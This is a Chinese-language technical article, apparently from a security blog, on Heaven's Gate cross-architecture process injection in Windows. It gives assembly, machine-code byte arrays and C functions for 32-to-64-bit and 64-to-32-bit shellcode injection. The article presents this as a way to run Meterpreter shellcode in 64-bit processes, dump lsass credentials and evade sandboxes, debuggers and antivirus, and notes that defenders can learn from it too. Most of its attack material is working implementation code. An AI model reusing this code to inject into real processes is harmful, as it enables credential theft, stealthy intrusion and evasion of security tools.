跨位数注入技术深度解析:从Heaven's Gate到x86与x64双向进程注入
字数 2667 2025-12-04 12:18:26
跨位数注入技术深度解析:从Heaven's Gate到x86与x64双向进程注入
一、技术背景与原理概述
1.1 跨位数注入技术起源
跨位数注入技术源于Heaven's Gate技术,这是一项存在十多年的古老技术。该技术允许在64位操作系统上运行的32位代码进程直接切换至64位模式下执行代码,关键技术是通过retf或jmp fword ptr指令完成CPU短长模式的切换。
1.2 实际应用场景
- 当使用MSF x86的shellcode上线后,无法使用
creds_all命令导出目标凭据 - WOW64模式下的Mimikatz无法dump出受保护的64位进程(如lsass.exe)的凭据
- 需要在64位进程空间中执行特定操作的场景
1.3 WOW64子系统限制
WOW64子系统是Windows 64位系统为兼容32位应用程序设计的子系统,但"兼容"只停留在用户态。当32位代码尝试使用CreateRemoteThread、RtlCreateUserThread或NtCreateThreadEx创建64位线程时,会因64位线程入口地址高32位可能全为1(超出4GB限制)而被WOW64内核明确禁止。
二、x32→x64跨位数注入技术详解
2.1 整体流程
- 32位inject程序使用
VirtualAllocEx在64位远程进程分配内存(小于4GB范围) - 使用
WriteProcessMemory将shellcode写入分配的内存 - inject使用
VirtualAlloc分配两段内存给两个stub使用,并复制stub代码 - 执行第一个stub,完成32→64转换并将执行流转到第二个stub
- 第二个stub找到
RtlCreateUserThread地址并创建挂起线程 - 第一个stub将CPU从64转换回32位,返回到inject
- inject使用
ResumeThread恢复线程执行shellcode
2.2 核心数据结构
2.2.1 函数指针定义
typedef DWORD(WINAPI* EXECUTEX64)(X64FUNCTION pFunction, DWORD ctx);
typedef BOOL(WINAPI* X64FUNCTION)(DWORD ctx);
2.2.2 上下文结构体
typedef struct _WOW64CONTEXT {
union { HANDLE hProcess; BYTE _[8]; } h; // 进程句柄
union { LPVOID lpStartAddress; BYTE _[8]; } s; // 目标地址
union { LPVOID lpParameter; BYTE _[8]; } p; // 参数
union { HANDLE hThread; BYTE _[8]; } t; // 线程句柄
} WOW64CONTEXT, *LPWOW64CONTEXT;
2.3 第一个stub:migrate_executex64详解
2.3.1 功能组成
由32位和64位机器码混合组成,主要负责:
- 切换堆栈、保存非易失性寄存器和参数传递
- CPU短模式切换成长模式,执行x64机器码
- 执行完migrate_wownativex后将CPU长模式切换回短模式
- 恢复堆栈和非易失性寄存器,返回inject代码
2.3.2 代码执行流程分析
(一)切换堆栈、保存寄存器和参数传递
push ebp
mov ebp, esp
push esi
push edi
mov esi, [ebp+8] ; 获取第一个参数pFunction(第二个stub地址)
mov ecx, [ebp+0Ch] ; 获取第二个参数ctx
call delta ; 跳转到下一条指令,规避地址随机化
栈布局分析:
ebp+8: pFunction函数指针ebp+0Ch: ctx指针地址
(二)CPU模式切换关键代码
pop eax
add eax, 37 ; 计算native_x64标签地址(AMD CPU为43/0x2b)
sub esp, 8
mov edx, esp
mov [edx+4], 0x33 ; 段选择子(64位用户代码段)
mov [edx], eax ; 设置偏移地址
call go_all_native
段选择子说明:
0x23: 32位模式段选择子0x33: 64位模式段选择子
远跳转结构体:
- 6字节结构:4字节偏移地址 + 2字节段选择子
- 格式:
0x33:offset构成完整远跳转目标
(三)64位代码执行环境
go_all_native:
mov edi, [esp] ; 获取WoW64返回地址
jmp fword ptr [edx] ; 切换到64位模式
; 64位代码区域
native_x64:
xor rax, rax ; 可省略指令
push rdi ; 保存WoW64返回地址
call rsi ; 调用第二个stub
pop rdi ; 恢复返回地址
push rax ; 保存返回值(等价sub esp,8)
mov DWORD PTR [rsp+4], 0x23 ; 设置32位段选择子
mov DWORD PTR [rsp], edi ; 设置返回地址偏移
jmp dword PTR [rsp] ; 切换回32位模式
(四)恢复环境和返回
add esp, 20 ; 清理栈空间(8+4+8字节)
pop edi
pop esi
pop ebp
ret 8 ; 返回并清理8字节参数
栈空间清理说明:
- 8字节:远跳转结构体1
- 4字节:go_all_native返回地址
- 8字节:native_x64中push的qword
- 总计20字节需要清理
2.3.3 AMD CPU特殊处理
在AMD CPU上需要添加额外指令解决竞态条件问题:
mov ax, ds
mov ss, ax ; 重新加载SS段寄存器,屏蔽中断
修改点:
- 添加两条额外指令
- 偏移从0x25改为0x2b
- 偏移从0x9改为0x0f
2.4 第二个stub:migrate_wownativex详解
2.4.1 初始化与栈对齐
cld ; 清除方向标志
mov rsi, rcx ; 保存ctx指针
mov rdi, rsp ; 保存原始rsp
and rsp, 0xfffffffffffffff0 ; 16字节栈对齐
call start ; 跳转并保存返回地址
栈对齐重要性:
- x64调用约定要求call之前RSP必须16字节对齐
- 32→64转换后rsp可能不以0结尾,需要强制对齐
2.4.2 GetProcAddressByHash函数
通过PEB→Ldr→ntdll.dll(64位)→导出表查找RtlCreateUserThread地址,经典shellcode技术。
2.4.3 参数准备与函数调用
; 准备RtlCreateUserThread参数
xor r9, r9 ; CreateSuspended = TRUE(必须暂停)
push r9 ; StackZeroBits
push r9 ; MaximumStackSize
push r9 ; Environment
mov r8, [rsi+0x10] ; lpParameter (ctx.p)
mov rdx, [rsi+0x8] ; lpStartAddress (ctx.s)
mov rcx, [rsi] ; hProcess (ctx.h)
call GetProcAddressByHash ; 获取函数地址
call rax ; 调用RtlCreateUserThread
RtlCreateUserThread函数原型(未公开):
NTSTATUS RtlCreateUserThread(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN CreateSuspended,
ULONG StackZeroBits,
SIZE_T MaximumStackSize,
SIZE_T CommittedStackSize,
LPTHREAD_START_ROUTINE StartAddress,
LPVOID Parameter,
PHANDLE ThreadHandle,
PCLIENT_ID ClientId
);
2.4.4 返回结果与栈清理
test rax, rax
jz success
mov rax, 0 ; 失败返回FALSE
success:
mov rax, 1 ; 成功返回TRUE
cleanup:
and rsp, (32+6*8) ; 清理影子空间和参数空间
mov rsp, rdi ; 恢复原始rsp
ret ; 返回stub1
栈空间计算:
- 32字节:影子空间
- 6×8=48字节:6个参数的空间
- 总计80字节需要清理
2.5 完整注入代码示例
// 32 → 64 位进程注入(WOW64 migrate 桩最小版)
// VS2019+ Win32 平台编译
unsigned char migrate_executex64[] = {
// 切换堆栈、保存非易失性寄存器和参数传递
0x55, // push ebp
0x89,0xE5, // mov ebp, esp
0x56, // push esi
0x57, // push edi
0x8B,0x75,0x08, // mov esi, [ebp+8] ; pFunction
0x8B,0x4D,0x0C, // mov ecx, [ebp+0Ch] ; ctx
0xE8,0x00,0x00,0x00,0x00, // call delta
// CPU模式切换
0x58, // pop eax
0x83,0xC0,0x2b, // add eax, 43 ; AMD CPU偏移
0x83,0xEC,0x08, // sub esp, 8
0x89,0xE2, // mov edx, esp
0xC7,0x42,0x04,0x33,0x00,0x00,0x00, // mov [edx+4], 0x33
0x89,0x02, // mov [edx], eax
0xE8,0x0f,0x00,0x00,0x00, // call go_all_native
0x66,0x8c,0xd8, // mov ax, ds ; AMD特殊处理
0x66,0x8e,0xd0, // mov ss, ax
// 恢复环境
0x83,0xC4,0x14, // add esp, 20
0x5F, // pop edi
0x5E, // pop esi
0x5D, // pop ebp
0xC2,0x08,0x00 // ret 8
};
三、x64→x32跨位数注入技术
3.1 技术难点分析
传统远程线程注入在x64→x32场景下失效的原因:
- 64位和32位kernel32.dll模块基址不一致
- 64位程序获取到的是64位LoadLibraryW地址
- 需要手动在目标32位进程中查找32位LoadLibraryW地址
3.2 关键函数实现
3.2.1 获取32位模块基址
HMODULE GetRemoteModuleBase(HANDLE hProcess, const wchar_t* moduleName) {
HMODULE hMods[1024];
DWORD cbNeeded;
if(EnumProcessModulesEx(hProcess, hMods, sizeof(hMods), &cbNeeded,
LIST_MODULES_32BIT)) {
DWORD count = cbNeeded / sizeof(HMODULE);
for(DWORD i = 0; i < count; i++) {
wchar_t modName[MAX_PATH];
if(GetModuleBaseNameW(hProcess, hMods[i], modName, MAX_PATH)) {
if(_wcsicmp(modName, moduleName) == 0) {
return hMods[i];
}
}
}
}
return NULL;
}
3.2.2 手动解析导出表
FARPROC GetRemoteProcAddress(HANDLE hProcess, HMODULE hModule, LPCSTR lpProcName) {
BYTE buffer[4096];
SIZE_T bytesRead;
// 读取PE头信息
if(!ReadProcessMemory(hProcess, hModule, buffer, sizeof(buffer), &bytesRead)) {
return NULL;
}
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)((BYTE*)buffer + dosHeader->e_lfanew);
// 获取导出表RVA
DWORD RVAForExpDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
// 读取导出表
if(!ReadProcessMemory(hProcess, (BYTE*)hModule + RVAForExpDir,
buffer, sizeof(IMAGE_EXPORT_DIRECTORY), &bytesRead)) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)buffer;
// 遍历导出表查找目标函数
DWORD funcAddr = (DWORD)(exportDir->AddressOfFunctions);
DWORD nameAddr = (DWORD)(exportDir->AddressOfNames);
for(DWORD i = 0; i < exportDir->NumberOfNames; i++) {
char name[256];
DWORD TrueNameAddr;
if(!ReadProcessMemory(hProcess, (BYTE*)hModule + nameAddr + sizeof(DWORD)*i,
&TrueNameAddr, sizeof(TrueNameAddr), &bytesRead)) {
return NULL;
}
if(!ReadProcessMemory(hProcess, (LPCVOID)((BYTE*)hModule + (DWORD)TrueNameAddr),
name, sizeof(name), &bytesRead)) {
return NULL;
}
if(strcmp(name, lpProcName) == 0) {
DWORD funcRVA;
if(!ReadProcessMemory(hProcess, (BYTE*)hModule + funcAddr + sizeof(DWORD)*i,
&funcRVA, sizeof(funcRVA), &bytesRead)) {
return NULL;
}
return (FARPROC)((BYTE*)hModule + funcRVA);
}
}
return NULL;
}
3.3 完整注入流程
- 使用
EnumProcessModulesEx指定LIST_MODULES_32BIT枚举32位模块 - 遍历模块数组,使用
GetModuleBaseNameW获取模块文件名 - 比较模块名找到kernel32.dll
- 使用自定义
GetRemoteProcAddress解析导出表获取LoadLibraryW地址 - 使用
CreateRemoteThread创建远程线程
四、技术总结与注意事项
4.1 关键技术要点
- 模式切换核心:使用远跳转指令(retf/jmp fword)配合段选择子完成32/64位模式切换
- 栈管理:x64环境下必须保证16字节栈对齐,需要保存和恢复原始rsp
- 地址空间限制:32位注入64位时分配的内存必须小于4GB范围
- 寄存器保存:正确保存和恢复非易失性寄存器
4.2 调试技巧与难点
- 跨位数注入可用于反沙箱和反调试
- 传统调试器难以跟踪CPU模式切换过程
- 建议使用windbg进行底层调试
- AMD和Intel CPU存在细微差异需要特殊处理
4.3 实际应用建议
- 充分测试目标系统兼容性(Win7/Win10/Win11)
- 考虑CPU架构差异(AMD/Intel)
- 注入后及时清理资源,避免进程崩溃
- 结合其他免杀技术增强隐蔽性
五、参考资料
- Metasploit Framework源码:executex64.asm和remotethread.asm
- ReWolf的wow64ext项目博客
- NTAPI未文档化函数参考
- xia0ji233关于64位进程注入32位进程的分析
通过深入理解跨位数注入技术的原理和实现细节,安全研究人员可以更好地防御此类攻击,同时红队人员可以更有效地在复杂环境中进行横向移动和权限提升。